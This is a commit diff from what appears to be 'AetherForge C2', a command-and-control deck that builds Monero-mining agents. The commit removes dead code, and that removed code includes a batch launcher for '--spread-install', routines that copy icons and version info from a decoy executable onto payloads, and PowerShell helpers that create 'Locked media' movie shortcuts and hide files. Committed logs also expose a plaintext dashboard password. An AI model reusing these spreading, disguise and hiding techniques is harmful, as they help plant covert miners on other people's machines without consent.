Clean up all staticcheck errors (SA4006 + U1000): fix dead assignments in server_info.go and build_universal.go; remove unused proxy fields and functions; delete superseded icon_windows.go and shortcut_windows.go
This commit is contained in:
5
_err.txt
Normal file
5
_err.txt
Normal file
@@ -0,0 +1,5 @@
|
||||
2026/06/01 21:23:16 main.go:59: AetherForge C2 starting...
|
||||
2026/06/01 21:23:16 main.go:65: Configuration loaded: port=8989, dataDir=G:\crypto miner\usb\data (project root: G:\crypto miner\usb)
|
||||
2026/06/01 21:23:16 main.go:81: [auth] Fleet secret loaded (first 8 chars: 0c340c87...)
|
||||
2026/06/01 21:23:16 main.go:106: Database initialized
|
||||
2026/06/01 21:23:16 main.go:110: AI handler initialized
|
||||
76
_out.txt
Normal file
76
_out.txt
Normal file
@@ -0,0 +1,76 @@
|
||||
================================================================
|
||||
AetherForge - Portable Control Deck
|
||||
================================================================
|
||||
Deck: G:\crypto miner\usb
|
||||
|
||||
[Go] Using bundled toolchain: G:\crypto miner\usb\toolchain\go
|
||||
|
||||
================================================================
|
||||
STARTING CONTROL DECK
|
||||
================================================================
|
||||
Local: http://localhost:8989
|
||||
LAN: http://10.5.0.2:8989
|
||||
Data: G:\crypto miner\usb\data\
|
||||
|
||||
Login credentials printed below.
|
||||
Press Ctrl+C to stop.
|
||||
================================================================
|
||||
|
||||
|
||||
╔══════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ ✦ · · · · · · ◈ · · · · · · ✦ ║
|
||||
║ · \ | / · ║
|
||||
║ · \ | / · ▲▲▲ ║
|
||||
║ · ○─────●─────○ · ▲▲▲▲▲ ║
|
||||
║ · / | \ · ▲▲▲▲▲ ║
|
||||
║ · / | \ · ████ ║
|
||||
║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
|
||||
║ ○───────────○ ██ ██ ██ ║
|
||||
║ / \ / \ ║
|
||||
║ / ●───────● \ A E T H E R F O R G E ║
|
||||
║ / / \ / \ \ ───────────────────────── ║
|
||||
║ ○───● ○───○ ●───○ LAN Mining Command Deck ║
|
||||
║ \ \ / \ / / ║
|
||||
║ \ ●───────● / ║
|
||||
║ \ / \ / ║
|
||||
║ ○───────────○ ║
|
||||
║ ✦ · · · · ◈ · · · · ✦ ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════╝
|
||||
|
||||
╔══════════════════════════════════════════════════╗
|
||||
║ AetherForge — Dashboard Login ║
|
||||
║ ║
|
||||
║ Username : admin ║
|
||||
║ Password : d01029971ac6c33b4f14 ║
|
||||
║ ║
|
||||
║ Also saved in data/login-credentials.json ║
|
||||
║ Change passwords in Calibrate → Users. ║
|
||||
╚══════════════════════════════════════════════════╝
|
||||
|
||||
2026/06/01 21:23:16 main.go:123: WebSocket hub initialized
|
||||
2026/06/01 21:23:16 main.go:130: Builder handler initialized (agent source: G:\crypto miner\usb\agent)
|
||||
2026/06/01 21:23:19 firewall_windows.go:31: [firewall] inbound TCP 8989 allowed (AetherForge Control Server)
|
||||
2026/06/01 21:23:21 firewall_windows.go:31: [firewall] inbound TCP 8989 allowed (AetherForge Control Server)
|
||||
2026/06/01 21:23:21 main.go:186: Config handler initialized
|
||||
2026/06/01 21:23:21 main.go:219: Fleet alert evaluator started
|
||||
2026/06/01 21:23:21 main.go:234: Blueprint handler initialized
|
||||
2026/06/01 21:23:21 manager.go:66: [PoolManager] Primary pool unreachable (pool wallet is required), trying 2 backup(s)…
|
||||
2026/06/01 21:23:21 main.go:243: Web root: G:\crypto miner\usb\webroot
|
||||
2026/06/01 21:23:21 manager.go:86: [PoolManager] Backup pool #1 (gulf.moneroocean.stream:20128) also failed: pool wallet is required
|
||||
2026/06/01 21:23:21 main.go:249: Router initialized
|
||||
2026/06/01 21:23:21 main.go:253: Server listening on :8989
|
||||
2026/06/01 21:23:21 main.go:254: Open http://localhost:8989 in your browser
|
||||
2026/06/01 21:23:21 manager.go:86: [PoolManager] Backup pool #2 (xmr.herominers.com:1120) also failed: pool wallet is required
|
||||
2026/06/01 21:23:21 main.go:194: [Pool] Failed to connect default pool (will retry on agent auth): all pool endpoints unreachable (primary: pool wallet is required)
|
||||
2026/06/01 21:23:35 "GET http://localhost:8989/ HTTP/1.1" from [::1]:55854 - 200 1251B in 48.1937ms
|
||||
2026/06/01 21:23:35 "GET http://localhost:8989/assets/index-Dp96kYal.js HTTP/1.1" from [::1]:63482 - 200 29431B in 505µs
|
||||
2026/06/01 21:23:35 "GET http://localhost:8989/assets/index-B6VTrg_Y.css HTTP/1.1" from [::1]:63327 - 200 25830B in 0s
|
||||
2026/06/01 21:23:35 "GET http://localhost:8989/assets/vendor-CP9RNUCY.js HTTP/1.1" from [::1]:52846 - 200 427541B in 2.402ms
|
||||
2026/06/01 21:23:35 "GET http://localhost:8989/assets/three-BxG1Hovp.js HTTP/1.1" from [::1]:59629 - 200 759952B in 4.5285ms
|
||||
|
||||
[Server] Exited with code 1.
|
||||
If port 8989 is in use, close other AetherForge windows and retry.
|
||||
|
||||
Press any key to continue . . .
|
||||
@@ -3,7 +3,6 @@ package api
|
||||
import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
@@ -38,10 +37,6 @@ func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride str
|
||||
suggestedURL := "http://" + net.JoinHostPort(suggestedHost, itoa(port))
|
||||
if strings.TrimSpace(publicURLOverride) != "" {
|
||||
suggestedURL = strings.TrimSpace(publicURLOverride)
|
||||
suggestedHost = suggestedURL
|
||||
if u, err := url.Parse(suggestedURL); err == nil && u.Hostname() != "" {
|
||||
suggestedHost = u.Hostname()
|
||||
}
|
||||
}
|
||||
info := ServerInfo{
|
||||
Port: port,
|
||||
|
||||
@@ -50,7 +50,7 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
|
||||
}
|
||||
|
||||
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
subdir := sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
var subdir string
|
||||
if req.SpreadKit {
|
||||
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
} else {
|
||||
@@ -337,11 +337,6 @@ func spreadKitStartCommand() string {
|
||||
return spreadKitStartCommandBody
|
||||
}
|
||||
|
||||
const universalDeployBat = `@echo off
|
||||
set DIR=%~dp0
|
||||
"%DIR%bin\windows-amd64\worker.exe" --spread-install
|
||||
`
|
||||
|
||||
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
|
||||
// It detects the OS/arch and launches the matching runner binary.
|
||||
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
|
||||
|
||||
@@ -1,17 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package builder
|
||||
|
||||
import "fmt"
|
||||
|
||||
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
|
||||
return fmt.Errorf("fusion resource embedding requires building on Windows")
|
||||
}
|
||||
|
||||
func fusionLdflags(prepPath string) string {
|
||||
return "-s -w -H windowsgui"
|
||||
}
|
||||
@@ -1,139 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// applyPrepResourcesToEXE copies icon + version info from prepPath onto exePath (post-build).
|
||||
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
|
||||
if err := h.patchEXEResourcesFromPrepExtract(prepPath, exePath); err == nil {
|
||||
log.Printf("[Fusion] Applied icon + version info from %s", filepath.Base(prepPath))
|
||||
return nil
|
||||
} else {
|
||||
log.Printf("[Fusion] resource extract/patch failed, trying icon fallback: %v", err)
|
||||
}
|
||||
if err := h.patchEXEWithExtractedICO(prepPath, exePath); err == nil {
|
||||
log.Printf("[Fusion] Applied icon from %s (fallback ico)", filepath.Base(prepPath))
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("could not copy icon/resources from prep exe")
|
||||
}
|
||||
|
||||
func (h *Handler) patchEXEResourcesFromPrepExtract(prepPath, exePath string) error {
|
||||
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-resources-*")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
if _, err := h.runGoWinres("", "extract", "--dir", workDir, prepPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
filteredJSON, err := writeIconAndVersionWinresJSON(filepath.Join(workDir, "winres.json"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if _, err := h.runGoWinres(filepath.Dir(filteredJSON), "patch", "--in", filteredJSON, "--no-backup", exePath); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Handler) patchEXEWithExtractedICO(prepPath, exePath string) error {
|
||||
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-ico-*")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
iconPath := filepath.Join(workDir, "prep-icon.ico")
|
||||
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
doc := map[string]any{
|
||||
"RT_GROUP_ICON": map[string]any{
|
||||
"APP": map[string]any{
|
||||
"0409": "prep-icon.ico",
|
||||
},
|
||||
},
|
||||
}
|
||||
jsonPath := filepath.Join(workDir, "icons-only.json")
|
||||
raw, err := json.MarshalIndent(doc, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(jsonPath, raw, 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if _, err := h.runGoWinres(workDir, "patch", "--in", jsonPath, "--no-backup", exePath); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
|
||||
func extractIconFromEXE(exePath, icoPath string) error {
|
||||
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
|
||||
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
|
||||
script := fmt.Sprintf(`
|
||||
$ErrorActionPreference = 'Stop'
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon('%s')
|
||||
if ($null -eq $icon) { throw 'no icon on executable' }
|
||||
$dir = Split-Path -Parent '%s'
|
||||
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
|
||||
$fs = [System.IO.File]::Create('%s')
|
||||
$icon.Save($fs)
|
||||
$fs.Close()
|
||||
`, exeEsc, icoEsc, icoEsc)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("extract icon: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
if _, err := os.Stat(icoPath); err != nil {
|
||||
return fmt.Errorf("icon file not created: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func peSubsystem(exePath string) int {
|
||||
data, err := os.ReadFile(exePath)
|
||||
if err != nil || len(data) < 128 {
|
||||
return 2
|
||||
}
|
||||
peOff := int(uint32(data[0x3c]) | uint32(data[0x3d])<<8 | uint32(data[0x3e])<<16 | uint32(data[0x3f])<<24)
|
||||
if peOff+24+68+2 > len(data) {
|
||||
return 2
|
||||
}
|
||||
if string(data[peOff:peOff+4]) != "PE\x00\x00" {
|
||||
return 2
|
||||
}
|
||||
opt := peOff + 24
|
||||
sub := int(uint16(data[opt+68]) | uint16(data[opt+69])<<8)
|
||||
return sub
|
||||
}
|
||||
|
||||
func fusionLdflags(prepPath string) string {
|
||||
flags := "-s -w"
|
||||
if peSubsystem(prepPath) == 2 {
|
||||
flags += " -H windowsgui"
|
||||
}
|
||||
return flags
|
||||
}
|
||||
@@ -1,13 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package builder
|
||||
|
||||
import "fmt"
|
||||
|
||||
func createMovieLockShortcut(_, _, _, _ string) error {
|
||||
return fmt.Errorf("movie lock shortcuts require Windows forge host")
|
||||
}
|
||||
|
||||
func setHiddenFile(_ string) error {
|
||||
return nil
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func createMovieLockShortcut(lnkPath, targetExe, arguments, iconLocation string) error {
|
||||
lnkPath, _ = filepath.Abs(lnkPath)
|
||||
targetExe, _ = filepath.Abs(targetExe)
|
||||
workDir := filepath.Dir(targetExe)
|
||||
if iconLocation == "" {
|
||||
iconLocation = `%SystemRoot%\System32\imageres.dll,196`
|
||||
}
|
||||
lnkEsc := escapePS(lnkPath)
|
||||
targetEsc := escapePS(targetExe)
|
||||
workEsc := escapePS(workDir)
|
||||
iconEsc := escapePS(iconLocation)
|
||||
argsEsc := escapePS(arguments)
|
||||
script := fmt.Sprintf(
|
||||
`$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('%s'); $s.TargetPath = '%s'; $s.Arguments = '%s'; $s.WorkingDirectory = '%s'; $s.IconLocation = '%s'; $s.Description = 'Locked media'; $s.Save()`,
|
||||
lnkEsc, targetEsc, argsEsc, workEsc, iconEsc,
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("create shortcut: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func setHiddenFile(path string) error {
|
||||
path, _ = filepath.Abs(path)
|
||||
script := fmt.Sprintf(
|
||||
`(Get-Item -LiteralPath '%s').Attributes = 'Hidden'`,
|
||||
escapePS(path),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func escapePS(s string) string {
|
||||
return strings.ReplaceAll(s, "'", "''")
|
||||
}
|
||||
@@ -66,7 +66,6 @@ type Proxy struct {
|
||||
requestID int
|
||||
loginRequestID int
|
||||
currentJob *Job
|
||||
jobSubscribed bool
|
||||
stopCh chan struct{}
|
||||
wg sync.WaitGroup
|
||||
running bool
|
||||
@@ -844,30 +843,6 @@ func (j *Job) ToModelJob() *models.Job {
|
||||
}
|
||||
}
|
||||
|
||||
// Helper to convert target hex to difficulty
|
||||
func targetToDifficulty(targetHex string) int64 {
|
||||
bytes, err := hex.DecodeString(targetHex)
|
||||
if err != nil || len(bytes) == 0 {
|
||||
return 0
|
||||
}
|
||||
|
||||
// Reverse from little-endian
|
||||
for i, j := 0, len(bytes)-1; i < j; i, j = i+1, j-1 {
|
||||
bytes[i], bytes[j] = bytes[j], bytes[i]
|
||||
}
|
||||
|
||||
target := new(big.Int).SetBytes(bytes)
|
||||
if target.Sign() == 0 {
|
||||
return 0
|
||||
}
|
||||
|
||||
maxTarget := new(big.Int)
|
||||
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
|
||||
diff := new(big.Int).Div(maxTarget, target)
|
||||
|
||||
return diff.Int64()
|
||||
}
|
||||
|
||||
// ParseBlob extracts fields from a Monero mining blob
|
||||
func ParseBlob(blobHex string) (map[string]interface{}, error) {
|
||||
blob, err := hex.DecodeString(blobHex)
|
||||
|
||||
Reference in New Issue
Block a user